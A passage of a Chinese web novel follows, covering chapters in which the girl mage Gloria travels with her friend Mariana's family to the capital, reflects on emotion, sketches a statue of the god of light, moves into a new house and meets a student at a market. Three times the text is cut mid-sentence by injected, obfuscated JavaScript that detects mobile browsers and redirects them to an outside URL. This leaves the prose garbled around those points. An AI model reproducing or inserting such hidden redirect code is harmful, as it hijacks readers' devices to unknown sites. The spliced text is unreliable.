“是的，佐洛琳城，据说原本的塞西亚城的传送法阵坏掉了，我们到了佐洛琳城还要再商量去王都走哪里更快一些。”乌忒娜对着玛莉安娜向来有耐心，最近这份耐心也在逐渐扩展到格洛瑞亚身上。当然，面对着哪怕是刚刚恢复不久却仍然过分活泼的丈夫，乌忒娜倒是还有几分脾气。 一顿晚饭不算丰盛，却也能消除赶路的疲惫。吃完晚饭的四个人对着熊熊燃烧的火堆发呆，格洛瑞亚还在想着在马车上与玛莉安娜的对话。 “早点休息吧，明天通过了传送法阵也还要继续赶路呢。”格洛瑞亚原本想说什么，乌忒娜却先催几人休息。 格洛瑞亚犹豫了一下，还是选择跟着玛莉安娜回到了两人一路坐着的马车上。 马车被格洛瑞亚和斯顿艾斯联手套上了好几层保暖魔法，比起外面夜晚来临的寒意，马车里显得温暖得有些过分，玛莉安娜在铺好临时床铺钻进被子里后不禁感慨魔法还真是造福大众。 “……”比起玛莉安娜的悠然自得，格洛瑞亚有些沉默的过分。玛莉安娜凑近明显心不在焉的格洛瑞亚，抓住格洛瑞亚反复整理头发的手。 “瑞尔，要休息啦？”玛莉安娜松开格洛瑞亚，麻利的把眼前长长的银发编成两条长长的辫子。 玛莉安娜点点头，很满意自己的作品，于是顺手把自己乌黑的长发也编成一样的两根辫子，拍拍枕头准备睡下。 “我想和乌忒娜聊一聊。”格洛瑞亚在一片黑暗中轻声说。 “妈妈？”玛莉安娜睡眠质量相当好，此时已经迷迷糊糊有些睡意了，但是格洛瑞亚在说话，她要尽量清醒的回应，“妈妈……聊一聊嘛……没问题的……” “……”格洛瑞亚默默又给马车加了一层保温魔法。玛莉安娜总是这样，一切都是没问题的。 也对，只要是玛莉安娜，一切都没问题的。 “玛莉安娜，晚安。” 玛莉安娜在睡梦中，模糊不清地回应她的朋友。 “晚安，格洛瑞亚。” . 第二天一早，格洛瑞亚早早收拾好自己，看看还在赖床的玛莉安娜，决定还是先去找乌忒娜。看着已经亮起来的天光，格洛瑞亚走向已经早早起床在准备早餐的塔里夫妇。 看着彼此之间不用交流、却能看得出来默契的塔里夫妇，格洛瑞亚先在旁边观察了一会。 格洛瑞亚没有欺骗乌忒娜。初见那天的所有消息确实是格洛瑞亚一点点从梦境中拼凑出来，只是这些梦境多数时候是在旁观，或者，只是突然在眼前闪过的某一个有关于未来或过去的片段。 格洛瑞亚简单的将乌忒娜和斯顿艾斯两个人之间的情感定义为了“爱”。 不然还能怎样定义呢？格洛瑞亚觉得自己最近好像总是在对着塔里一家三口之间的感情产生疑惑。 乌忒娜想要治好斯顿艾斯，不管是不是能做到，也无论付出什么代价，都想让斯顿艾斯从无穷无尽的黑暗中醒来，在那些被她窥探到的过去的片段中，斯顿艾斯和乌忒娜彼此注视时，眼里永远写满了爱意与温柔。 而玛莉安娜……格洛瑞亚靠在马车边，看着整个世界一点、一点地亮起来。 玛莉安娜面对耗尽心力的母亲、昏迷不醒的父亲，做到了所有她作为一个孩子能做到的一切。玛莉安娜内心的不断祈求共振了命运，格洛瑞亚因此第一次清晰的认识到自己也许可以回应这份祈求。 这就是所谓的“祈祷”吗？是面对无力改变的现实，所以将一切寄托于已经虚无缥缈的神明吗？ 格洛瑞亚向自己提问，又再次回答自己。 不是。或者说不完全是。 如果真的放弃，乌忒娜不会带着玛莉安娜在那个边陲小镇居住了五年，无数次走向那片神战后的“禁地”寻找草药、材料，玛莉安娜也不会在五年时间里积攒出一份能共振命运的祈祷。 不，也许不是祈祷。格洛瑞亚又反驳了自己。 也许只是一份“相信”。 玛莉安娜无论如何，都一直相信父亲终有一天会醒来，母亲也总有一天会重新快乐起来。 这就是人。永远在困境中踌躇满志，永远在希望中一往无前。 格洛瑞亚在马车边站了很久，久到玛莉安娜已经活力满满地冲下了马车，久到乌忒娜和斯顿艾斯做好了早餐，乌忒娜拿着一块面饼递到了她的眼前。 “你今天很早就出来了……”乌忒娜看着格洛瑞亚咬下一口，眼睛亮了亮，笑了，“有什么心事吗？我们或许能帮上忙？” 格洛瑞亚吃掉了那块面饼，想了想，很认真的问乌忒娜。 “我可以和你聊一聊吗？就我和你。”格洛瑞亚看着乌忒娜掩饰不住的惊讶，迅速补充，“和玛莉安娜一起也可以。” “当然可以。”乌忒娜收好惊讶的表情，甚至还有心情调侃唯一没有被提到的丈夫，“斯特会伤心的，女孩们的秘密时间，没有他的位置喽。” . 斯顿艾斯·塔里在一顿早饭后喜提一人马车。宽敞，但是有点孤独。好不容易醒过来和家人团聚，恩人拐了老婆和女儿聊天，他确实也不知道还能说什么。 而另一架马车上，格洛瑞亚看着玛莉安娜自以为掩藏的很好地向乌忒娜撒娇，感到前所未有的轻松。 乌忒娜熟练地把女儿抱在怀里，接受来自于玛莉安娜的一切热情的爱意。 当然，乌忒娜也注意到了对面的格洛瑞亚一直在注视着，她想了想，分出一只手朝格洛瑞亚招了招，“格洛瑞亚，来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383194|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>玛莉安娜也从乌忒娜怀里抬起头，笑嘻嘻的看着格洛瑞亚。 那是一个只有一瞬间的拥抱。在利威家、在德里纳夫人身边，格洛瑞亚从未感受过这样温情的一刻。而这样的一瞬间却是塔里家稀松平常的日常生活。 格洛瑞亚觉得这一瞬间还不错。乌忒娜的怀抱会让她想起第一次在梦境中看到的那片雪山，那片仿佛在世界尽头，却又无时无刻不在吸引她的雪山。 “好了，玛莉安娜。让我们来听一听格洛瑞亚的烦恼。”终于分开了自己和玛莉安娜的乌忒娜调侃道。 玛莉安娜学着前一天格洛瑞亚的样子摆出一副洗耳恭听的姿态，乌忒娜在一边笑着拍了拍女儿的膝盖。 格洛瑞亚详细的复述了一遍这几天和玛莉安娜的对话，乌忒娜很认真的倾听着，玛莉安娜倒是有些不好意思，不过还是在格洛瑞亚有些过于省略的地方补充了一些细节。 “……我的疑惑在于，玛莉安娜说，‘心口一空’的感觉是‘悲伤’，‘脸上的笑容’代表‘快乐’。这些‘表现’，就是‘情绪’吗？”格洛瑞亚很认真，几乎是在请教乌忒娜，希望这位已经经历过无数风浪的女性给出一些属于自己的见解。 乌忒娜很认真的听完了格洛瑞亚的困惑，觉得自己面对的不是一个活生生的“人”，而是一张空白的纸。 这张纸上有一些被涂抹出的色彩，只是颜色太浅或者下笔太轻，纸上的痕迹太少，少到不能称之为“画”。 而现在，这张白纸主动跳出来，希望有人能给自己的空白处填补一些颜色。乌忒娜觉得这会是一个漫长的过程，但好在她也不缺这份耐心。 当然，会有人比自己更有这份耐心的。乌忒娜看看同样在思考的玛莉安娜。 格洛瑞亚没有等很久。 或者说这不是需要等很久的答案。 “格洛瑞亚，你的困惑我们当然能给出答案。”乌忒娜很有耐心，她说的很慢，一字一句仔仔细细的，把自己能想到的一切毫无保留的讲述给格洛瑞亚。 “只是，我们给出的答案也只是片面的，今天是这样的回答，明天说不定又会有新的看法。” “而这同样适用于你的问题。这些情感、这些情绪，也是今日如此、明日未知的状态。这不是我在敷衍你，而是事实如此。如果‘表现’就能概括所有人类的‘情感’，那么所有人就都应该是一个模子刻出来的了。” “人的情感表现在很多方面。有人压抑，有人外放。我通常会习惯于掩藏情绪，而玛莉安娜和斯顿艾斯就更习惯于直白的表达。” 乌忒娜看着格洛瑞亚懵懂的样子，想起了当年第一次把幼小的玛莉安娜抱在怀中的时候。 也是一样懵懂、干净的眼睛，清透的只能看见自己的倒影。 “我觉得你不是在困惑这些表现。”乌忒娜仿佛生怕惊醒沉溺在睡梦中的人一般轻声细语。 “我觉得你是在想，为什么你从未感受过这些情绪。” “我甚至觉得你在恐惧。” 格洛瑞亚一瞬间仿佛被人扼住咽喉。 6. 第 6 章 偶遇，是神像？ “要试试感受一次吗？虽然不是很理解你的‘魔法’和普通人有什么不同，但是格洛瑞亚的话，能做到的吧？” 乌忒娜朝格洛瑞亚展开双臂，自然的仿佛在问今晚玛莉安娜想不想拥有一块奶油饼干。 “……我做不到。”格洛瑞亚虚抱住乌忒娜，半晌摇了摇头。 格洛瑞亚感受着乌忒娜的呼吸、心跳，感受着乌忒娜作为一个人类最普通的生理反应，可是她感觉不到乌忒娜的情绪。 乌忒娜在张开双臂的同时就考虑到了这样的情况，玛莉安娜在一旁看着倒是有些着急。就在乌忒娜和玛莉安娜面面相觑，思索还有什么方法能解决格洛瑞亚的疑问时，马车终于穿过了传送法阵，斯顿艾斯在两辆马车都停好后敲了敲马车的车窗。 “我们到了。”斯顿艾斯招呼了一声后没有再继续打扰，他很贴心的给三位女士留出足够的空间继续交流。乌忒娜没有能再帮到格洛瑞亚的方法，选择先暂时告别格洛瑞亚和玛莉安娜，去和丈夫继续商量意外改变的行程安排。 格洛瑞亚倒是没再继续纠结这场谈话，她明白这些问题不能急于一时，更何况她们现在最重要的事情应该是找到更快捷的路线，早点搬好家。 玛莉安娜看格洛瑞亚恢复到一派轻松的模样，也不再纠结这种没有答案的问题。她确实更关注接下来的行程，和她们刚刚到达的城市。佐洛琳城对十二岁的玛莉安娜来说是个很难得一见的大城市，她有点想到附近去玩一玩。 玛莉安娜想，于是决定就这样做，还不忘抓着格洛瑞亚一起冲下马车。 乌忒娜爽快的同意两人在附近的市集逛一逛，她们现在距离佐洛琳城的市集不远，或者说佐洛琳城特意在各个传送法阵附近都设置了市集，她也想和斯顿艾斯一起小小的约个会。不过塔里夫妇认为现在还是商量好接下来的行程比较好。佐洛琳城也算是一个很大的中转城市，来来往往的人总是能把传送法阵塞到爆满。 和塔里夫妇约定好午餐之前回到落脚点，格洛瑞亚和玛莉安娜走向市集。 佐洛琳城无愧是几个大型中转城市之一，格洛瑞亚和玛莉安娜在市集中见到了不少“奇形怪状”的人，也见到了不少边陲小镇见不到的特殊材料。 玛莉安娜兴奋地抓着格洛瑞亚从市集一边逛到另一边，又在回去的路上重新走进了几家店铺，仔细挑选对比了不少东西，最后却什么都没有买。 “不打算买点东西吗？”格洛瑞亚看着恋恋不舍地放下一块水晶的玛莉安娜，想了想，低声补充道，“你如果很想要的话，我可以买下来送给你。” 玛莉安娜摇了摇头，带着格洛瑞亚走出了店铺。 “我不是一定要在这里买东西啦。”玛莉安娜有点不好意思，抓着格洛瑞亚初见面就悄悄塞给她、被她穿成吊坠的那块烟灰色的宝石晃了晃，又小心翼翼的挂回胸前，“我也想给瑞尔送一个礼物嘛。” 格洛瑞亚站住了。 玛莉安娜的热情有时候直白的吓人，她的想法、行为会丝毫不掩饰的表现出来。就像她知道格洛瑞亚能“治好”父亲，所以毫不犹豫的就能接受格洛瑞亚“做朋友”的要求。 “我不需要这些，无论是充满魔力的水晶，还是珍贵的草药材料……” 格洛瑞亚第一次被玛莉安娜打断了话。 “我知道啊。”玛莉安娜笑眯眯的挽住格洛瑞亚，走进下一家店铺，“我知道你确实不缺这些东西。但是我想给瑞尔买礼物。因为我喜欢瑞尔，瑞尔是我的朋友，我希望瑞尔也有我送的礼物嘛。” “更何况，瑞尔之前的那些水晶啊、草药啊……都是‘报酬’吧？” “‘报酬’和‘礼物’是不一样的哦。” 玛莉安娜快乐的继续挑选，最后不得不承认这家店铺的东西还不如上一家，这让她有点泄气。 “……好吧，我觉得我可能挑不出来我满意的了，希望王都能有更好的东西……” 玛莉安娜垂头丧气的被格洛瑞亚拉走，忍不住碎碎念。 迎面走来的人越来越多，格洛瑞亚考虑了一下自己和玛莉安娜的身高，决定避开人群，绕去另一边人比较少的小路回营地。 玛莉安娜终于碎碎念完，抬头发现不是来市集时的路，倒是吓了一跳。 “人太多了。”格洛瑞亚简洁的解释，指了指原本那条路的方向，“而且，你再挑下去也不会有满意的东西的。” “这倒是。”玛莉安娜郁闷的回头看看，很快又打起精神，“没事的，王都肯定会有更好的！” 两人在路上说说笑笑，格洛瑞亚在玛莉安娜的请求下开始介绍曾经被利威家“介绍”过来的人都送上过那些珍贵的材料。 “玛莉安娜，这个雕像是……？”格洛瑞亚突然指向道路尽头的广场中心。 “是光明神的神像啊。”玛莉安娜朝着雕像的方向仔细看了看，斩钉截铁的说。 两人逐渐走近，格洛瑞亚看着雕像，忍不住绕着雕像走了一圈。 雕像很高大，或者说原本的人就很高大，所以这座被放大了几倍的雕像看上去更是耸立在这片广场上。有着兜帽的斗篷完全遮住雕像的面容，也让人看不出性别。雕像的两手平托在胸前，仿佛在接住从天上撒下来的光。 “光明神的神像都是这样雕刻造型的。”玛莉安娜看着格洛瑞亚打量着雕像，跟在身后给格洛瑞亚介绍，“兜帽和斗篷遮挡面容与身形，两手平托寓意接住光明。神明希望人们忘却神明本身，更关注神明代表的原本能力。” “……哦。”格洛瑞亚绕着雕像走了两圈，没再发表什么意见，“走吧，中午了，乌忒娜要着急了。” . 乌忒娜和斯顿艾斯在营地仔细研究好了接下来的路线，等待玛莉安娜和格洛瑞亚回来的时候也准备好了午餐，两人同样说说笑笑的在马车边聊天打发时间。 “……所以格洛瑞亚找你是什么事情？”斯顿艾斯认真听着乌忒娜故作轻松的一点点讲述五年里的点点滴滴，心里愧疚又庆幸。略微沉重的话题告一段落，斯顿艾斯就想起了今天一早三个女生的秘密谈话。 乌忒娜想了想，还是决定隐瞒下来格洛瑞亚的疑问，只摇了摇头。斯顿艾斯见乌忒娜不想说，也就不再好奇，继续和乌忒娜交流五年里错过的许多消息。 玛莉安娜和格洛瑞亚回到营地时，乌忒娜和斯顿艾斯正巧将午餐分好。 “你们回来的刚刚好哦！”斯顿艾斯快乐的介绍今日午餐，食物的香气弥漫在这一片空地，带来一点属于“家”的温馨。 午餐吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383195|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完，乌忒娜和斯顿艾斯收拾好午餐用的餐具，格洛瑞亚和玛莉安娜收拾好自己，在得知可能要等到傍晚才能再次通过传送法阵走向下一个城镇时，格洛瑞亚向玛莉安娜借了一本空白羊皮纸和一根羽毛笔。玛莉安娜从随身的包里翻出来递给她，决定在等待时睡个午觉。 格洛瑞亚在中午过分温暖的阳光下，准备重启自己很久没做的一个习惯：画画。 格洛瑞亚在利威家时，喜欢看窗外，看只有一角的雪山。于是她也画，画她梦里、回忆里的那一片雪山。 现在她也在画，羊皮纸和羽毛笔不是很合适的工具，只是绵延不绝的山脉简单几笔也有模有样。 格洛瑞亚画了一会，看了看熟睡的玛莉安娜。 中午的营地总不算是太安静，格洛瑞亚轻轻敲了敲马车车厢，给马车上套上了一层隔音魔法。 虽然玛莉安娜可能不会醒，格洛瑞亚想，但是安静一些的环境总是更让人喜欢。 阳光穿过车窗照在玛莉安娜胸前的宝石吊坠上，烟灰色的宝石在阳光下更显剔透。 格洛瑞亚看着那块宝石，想了想，翻过一页空白。 要和玛莉安娜现在戴着的差不多。格洛瑞亚在空白的纸张上落笔，她想画一点类似的吊坠，找好宝石做出来送给乌忒娜，如果斯顿艾斯也想要，可以送一块类似的附魔宝石，怎么戴着就随她们喜欢了。 格洛瑞亚画的很专心，专心到玛莉安娜已经睡醒坐在她身边都不知道。 “瑞尔，你在画什么？”玛莉安娜看着过分专心的格洛瑞亚，又看了看已经接近落下的太阳。 “我在画吊坠……” 格洛瑞亚从羊皮纸上抬起头，见玛莉安娜凑过来，顺手把羊皮纸递过去，得到了玛莉安娜小小的一声惊呼。 整本羊皮纸被玛莉安娜平开着举起，格洛瑞亚看着那张纸上不是她以为一直在画的吊坠，而是刚刚才看见过的光明神的神像。 “瑞尔，你怎么画了光明神的神像啊？”玛莉安娜举着本子左看右看，点点头评价道，“和那座雕像好像哦。不过……是不是有什么细节的地方不一样啊？” 格洛瑞亚看着被玛莉安娜仔细研究究竟有什么地方不一样的画，低低的应了一声。 好在玛莉安娜的兴趣不只在雕像上，她翻到了前两页的雪山和吊坠，注意力很快就被吸引走了。 “好漂亮的画！”玛莉安娜激动的晃了晃手里的本子，想到是格洛瑞亚用了整整一个中午的时间画出来，又赶紧停下。 “玛莉安娜也可以画。”格洛瑞亚接过本子，寥寥几笔就勾勒出一根羽毛，又把羽毛笔塞回玛莉安娜手里。 “好难哦。”玛莉安娜欣然接过羽毛笔，尝试着画出来一根不太像羽毛的羽毛。 “没关系，玛莉安娜只是不熟悉而已。”格洛瑞亚努力安慰着今天第二次垂头丧气的玛莉安娜。 “孩子们！我们准备出发啦！”马车外，斯顿艾斯爽朗的声音传来，驱散了马车里暂时的沉闷。 “好！”玛莉安娜同样朗声回答，从马车车窗探出头去和父母撒娇。 格洛瑞亚看着完全背对自己的玛莉安娜，拿过被玛莉安娜随意放在座位上的那本羊皮纸。 她撕下了画着光明神神像的那一张。 7. 第 7 章 到达，新家 接下来的路程平淡又温馨，乌忒娜坐到了格洛瑞亚和玛莉安娜的马车上，在玛莉安娜的央求下断断续续的讲了许多有关王都、学院和曾经与斯顿艾斯在驻外兵团发生的某些趣事。格洛瑞亚坐在旁边听着，手上继续慢慢的给那张吊坠的草图补充细节。 在路上花费的时间比起预计多两天，终于到达这座曾经居住过的小屋，玛莉安娜几乎是迫不及待地拉着格洛瑞亚冲到小屋近处，向她介绍自己记忆里曾经的一点一滴。 “玛莉安娜，冷静。”格洛瑞亚被玛莉安娜抓着手臂，从进门开始就一刻不停的去认识这座仍然看得出曾经温馨的小屋。眼看着马上就要冲上二层，格洛瑞亚不得不紧急抓住越来越开心的玛莉安娜，防止她的兴奋劲冲昏自己的头脑。 “好吧……”玛莉安娜略微遗憾的站在楼梯口，前后左右看了看，暂停了介绍工作的下一刻就又快乐地冲向刚刚卸下马车的行李，兴致勃勃的准备大展身手，甚至蠢蠢欲动地想把格洛瑞亚的房间布置的和自己的一样。 格洛瑞亚看着玛莉安娜欢快的搬着自己的行李上楼，正打算跟上去，就被乌忒娜悄悄叫到一边，手里被塞进一把钥匙。 “虽然瑞尔你可能会想和玛莉安娜住在一起，我们也希望你能在这个家拥有一点属于自己的空间。”乌忒娜是温暖的，柔软的，作为一个母亲，完全倾注在玛莉安娜身上的那一份母爱逐渐分出一部分给到了格洛瑞亚。而格洛瑞亚对此虽然不太习惯，却在努力学着玛莉安娜的样子去回应乌忒娜的关心。 格洛瑞亚被乌忒娜带到二楼的房间门口，又被嘱咐可以考虑一下还需要哪些家具或者工具，最近几天肯定要经常去到王都的市集，很多东西可以一起采购。 “谢谢。我会好好使用这个房间的。”格洛瑞亚看着乌忒娜转身去收拾这个家的更多部分，迅速用魔法收拾好这间许久没有居住过的房间，随即开始填补空白的墙面。 有床、有书桌、有一个小柜子……格洛瑞亚一边在墙面上挂上自己带来的几幅画，一边清点目前房间里不多的几件家具。 “瑞尔！你收拾的怎么样啦！”玛莉安娜的声音从门外穿透进来，带着她永远不会消失的活力。 “门没关，进来吧。”格洛瑞亚看着没关上的门和刻意停在门外的玛莉安娜，疑惑的眨眨眼。 “我是第一个被邀请进瑞尔的房间的人！”玛莉安娜欢快地推开格洛瑞亚的房门，扑向站在房间中央的人。 格洛瑞亚被扑上来的人撞的一晃，两人就着拥抱的姿势摇摇晃晃的走到了窗边。 玛莉安娜滔滔不绝地讲曾经在这座小屋的曾经，花园里她曾经埋过月光草的种子，现在仔细找一找说不定还能找到几株幸存下来的独苗；又说到之前有双尾猫闯进来，玛莉安娜和斯顿艾斯被追得绕着房子跑，最后是乌忒娜一把抓住捣乱的小猫送到了附近想养猫的人家…… 玛莉安娜一直在讲，格洛瑞亚就安静的听着。 格洛瑞亚很喜欢这种能安静聆听玛莉安娜讲述的时候，玛莉安娜在讲，绘声绘色地，格洛瑞亚仿佛也跟着玛莉安娜体验了一遍这种温馨的生活。 “我一直觉得这个房间会有人住……”格洛瑞亚跟着玛莉安娜的讲述看着窗外花园的空地，思索着要不要自己也去种一些可能用得上的草药，就听见故意抱着她不松手的玛莉安娜突然闷闷的说。 “我本来以为会是她们的亲生孩子的……”玛莉安娜死死抱住格洛瑞亚，没有放开的意思，格洛瑞亚也就任由她抱着，安静的听玛莉安娜突然出现的情绪。 “我有想过她们的小孩会是什么样子，也许会很像乌忒娜，当然也可能会很像斯顿艾斯，或者都不太像也可以，但是肯定会很好看，我也会很喜欢他，我还挺想当一个姐姐的……” 玛莉安娜断断续续地讲，想到什么就说到了什么。格洛瑞亚扭头去看玛莉安娜的脸，却看不懂玛莉安娜的表情。 “……现在你不这样想了吗？”格洛瑞亚轻轻晃了晃玛莉安娜的手，凑到耳边问。 “也不是……”玛莉安娜的情绪来的快去的也快，很快就从那种格洛瑞亚读不懂的情绪中抽离开，拖过书桌前的椅子一屁股坐下，继续和格洛瑞亚闲聊，“我就是突然想到了之前的想法嘛，突然回到之前的家，真的什么都能想起来……” 格洛瑞亚总算被“八爪鱼”放开，一边继续收拾行李，一边听玛莉安娜从之前的回忆说到了应该给这个房间添些什么样的家具。 “瑞尔想要书架吗？要不要做那种有好多不一样格子的那种……”玛莉安娜的手在半空中比划着，格洛瑞亚也在认真思考书架具体可以是什么样子。 “玛莉安娜，格洛瑞亚，收拾好了可以下来了！”断断续续边收拾边闲聊的两人听见斯顿艾斯在二层楼梯口喊了一声。 “这就来！”玛莉安娜同样喊回去，从椅子上弹起身，格洛瑞亚把行李里最后一本书放到书桌上，拍了拍手。 . “收拾的怎么样？还缺什么东西我们可以这几天就去买。”乌忒娜和斯顿艾斯坐在客厅的沙发上，等格洛瑞亚和玛莉安娜一起下楼。 “我需要一个更大的书架，准备在花园的空地种一点草药，还有一些魔法道具可能要找材料自己做。”格洛瑞亚觉得语气好像有点生硬，想了想，学着玛莉安娜平常的样子补充了一句，“可以吗？” “当然没问题。”乌忒娜相当愉快的答应，拿出随身带着的本子记下格洛瑞亚的要求，顺便介绍了一下要去采购的市集上还有哪些常见或不常见的魔法道具。 “我也要，我也要，我想要一个小柜子或者箱子。”玛莉安娜比划出了一个大概的尺寸，同样被斯顿艾斯答应下来。 “那么，接下来这几天我们会去王都的市集，很有可能会走一到两个不同的市集去买我们的必需品，书架、柜子、箱子这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383196|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们会在附近买比较好的木头自己打磨制作，斯顿艾斯很擅长这些。” 乌忒娜仔细计算好最近几天的行程，顺便推销斯顿艾斯的手工制作木制品。斯顿艾斯在一边飞速点头示意交给自己完全没问题。 “那就更方便去刻法阵了。”格洛瑞亚学着斯顿艾斯的样子快速点头，又赶快停下。 有点晕。格洛瑞亚晃了晃头，第一次觉得斯顿艾斯也有特殊的过人之处。 “好的，那么接下来……”乌忒娜收好本子，和斯顿艾斯对视一眼，两人从身后掏出两个一模一样的盒子。 一个被推到格洛瑞亚面前，一个被推到玛莉安娜面前。 “这个是……”斯顿艾斯把盒子推到玛莉安娜面前，手不自然地在面前晃了晃，又尴尬地收回来摸了摸自己的头发。 乌忒娜默默在旁边叹了口气。斯顿艾斯十年如一日的不习惯应对这种感情色彩太浓的场面，这种时候先尴尬的永远会是他自己。 “这个是我们之前在家里和路上偷偷准备的一点礼物。”乌忒娜把两个盒子一起打开，里面是同样款式、镶嵌了不同颜色宝石的一枚手镯和一对耳饰，格洛瑞亚的那一份镶嵌了接近眸色的淡紫色的宝石，玛莉安娜的那一份也是同样和眸色一样的浅绿色。 “咳咳……时间太短，我们只来得及准备出这些，本来是准备做更多的一些……”斯顿艾斯努力补充。 “这一份是为了感谢格洛瑞亚你……”乌忒娜认真的看着对面的两个女孩，像是把两个孩子的样子印在心里，“同样的这一份也是想感谢玛莉安娜。” “我？”玛莉安娜已经拿起手镯仔细看，听到乌忒娜的话差点把手镯摔回盒子里。 “是的。我们需要感谢你。”乌忒娜抓住斯顿艾斯，强地按住还在尴尬的丈夫，两人同时看着有些慌乱的玛莉安娜和疑惑的格洛瑞亚，“如果不是玛莉安娜，我们可能没办法真的请求格洛瑞亚完全治疗好斯顿艾斯。” 看格洛瑞亚想说话，乌忒娜先一步继续说：“我知道格洛瑞亚你想说什么。我们也许可以付出金钱去打动利威家，又或者玛莉安娜会在未来同样遇见你……但是现在，你对我们的帮助是因为有玛莉安娜，你们是朋友，所以玛莉安娜‘功不可没’。” 乌忒娜笑眯眯的调侃，一把接住扑进怀里的玛莉安娜。 “瑞尔不要笑啦！”从乌忒娜怀里探出头的玛莉安娜红着脸喊。 我在笑吗？格洛瑞亚跟着玛莉安娜的话抬手摸了摸嘴角。好像确实是翘起来的。 玛莉安娜又扑向格洛瑞亚，学着之前格洛瑞亚戳自己脸颊的样子戳了戳：“瑞尔！你现在开心吗！” 格洛瑞亚接住玛莉安娜，看了看桌上摊开的两个盒子，目光又从乌忒娜和斯顿艾斯脸上掠过，最后看向一脸期待的玛莉安娜。 “嗯。我在开心。” 格洛瑞亚认真的看着玛莉安娜的眼睛说。 8. 第 8 章 市集，注意安全！ 王都的市集确实比佐洛琳城的大一些。 第二天一大早，格洛瑞亚站在市集的入口，看看眼前一眼望不到头的各种店铺和身边兴奋的玛莉安娜，转身看向手挽着手站在后面的乌忒娜和斯顿艾斯。 “那么，玛莉安娜就交给格洛瑞亚了！”乌忒娜堪称豪迈的伸手指向道路尽头隐约可见的巨大雕像，脸上是对生活的兴致勃勃，“格洛瑞亚、玛莉安娜，拿好钱袋！上午我们分开去买自己想要的道具，中午之前在尽头的森林神神像下面集合，下午如果还有什么东西要买就一起去，如果没有我们就去买木材做书架和箱子。” 乌忒娜再豪迈的一挥手，“解散！” “好哦！”玛莉安娜欢快地回应一声，拉住格洛瑞亚垂在身旁的手冲向市集。 乌忒娜和斯顿艾斯笑眯眯的在两人身后招招手，对视一眼，愉快地决定从第一家店铺开始逛。 “玛莉安娜……玛莉安娜，等一下！”格洛瑞亚被玛莉安娜拽进一家定制法杖的店铺，看着眼睛已经开始闪光的玛莉安娜，不得不紧急叫停。 “瑞尔！我们需要这个！妈妈说学院的必需品清单上面有这些，我们今天可以提前找一找合适的嘛！”玛莉安娜快乐地围着格洛瑞亚转圈，被格洛瑞亚一把抓住。 “这里的法杖都是定制的，我们暂时还用不到。”格洛瑞亚礼貌地向笑眯眯看着两人的店主点头致意，拉住玛莉安娜离开，走进对面贩卖初级魔法必需品的店铺。 “我们可以提前看看都需要什么教材，以及……”格洛瑞亚踮脚从一旁的书架上抽下来一本《初级魔法大全》递给玛莉安娜，“我记得我们好像直接会去读二年级，我们可能需要了解一下这里的一年级都学了什么。” “……你说得对。”玛莉安娜看看外面还是阳光明媚的天气，内心已经逐渐阴雨连绵，“一想到接下来的三个月突然要补课我突然就觉得完蛋了……” “别担心，只是看看有什么不一样……玛莉安娜！”格洛瑞亚边跟在玛莉安娜身后走，边随意打量着店铺。 玛莉安娜抱着《初级魔法大全》，半闭着眼走向店铺更深处的书架，听见身后格洛瑞亚一声惊呼，还没反应过来眼前一眼望不到头的书架就变成了店铺的天花板。 “玛莉安娜！你还好吗？”格洛瑞亚反应迅速的在玛莉安娜身后接住人，一起摔在了地上。 “抱歉！非常抱歉！我没注意到这里有人！你们还好吗？”金发的男生看起来比起摔倒在地的两人更慌张，几乎是一手一个地把两个女孩从地上拉了起来。 “……哦，我还……我还好？”玛莉安娜茫然地感受了一下，没感觉有哪里痛，看了看一脸平静给两人衣服掸掉灰尘的格洛瑞亚，觉得应该是瑞尔用魔法接住了自己，悄悄笑了一下。 “我也还好。”格洛瑞亚站起来拍干净两人的衣服，又顺手重新系了衣袖的飘带，确认玛莉安娜没事，两人一起转脸，看向一旁满脸愧色的金发男生。 “那个……我是魔法学院五年级的学生……不是，我是说我是休……休·弗伦特尔德……”看起来异常慌乱的休·弗伦特尔德手忙脚乱地捡起被撞到一边的那本《初级魔法大全》递还给玛莉安娜，“非常抱歉！真的非常抱歉！” 休·弗伦特尔德好像终于反应过来一样，飞快地从衣服的口袋里拿出了两张这家店铺的提货单。 “不介意的话，这些东西送给你们当赔礼吧。”玛莉安娜着急的想拒绝，被快速摆手的弗伦特尔德拦住，“你们两个没事就太好了，这些东西不是很珍贵，只是一些普通的材料。” 他刻意强调“普通”两个字，又看了看眼前表情完全不同的两个女孩，继续补充道：“你们应该也是王都魔法学院的学生吧？这些都是常用品，就当我们认识的见面礼也行。” 玛莉安娜看了看眼前非常诚恳的男生，想了想，看向一直一言不发的格洛瑞亚。 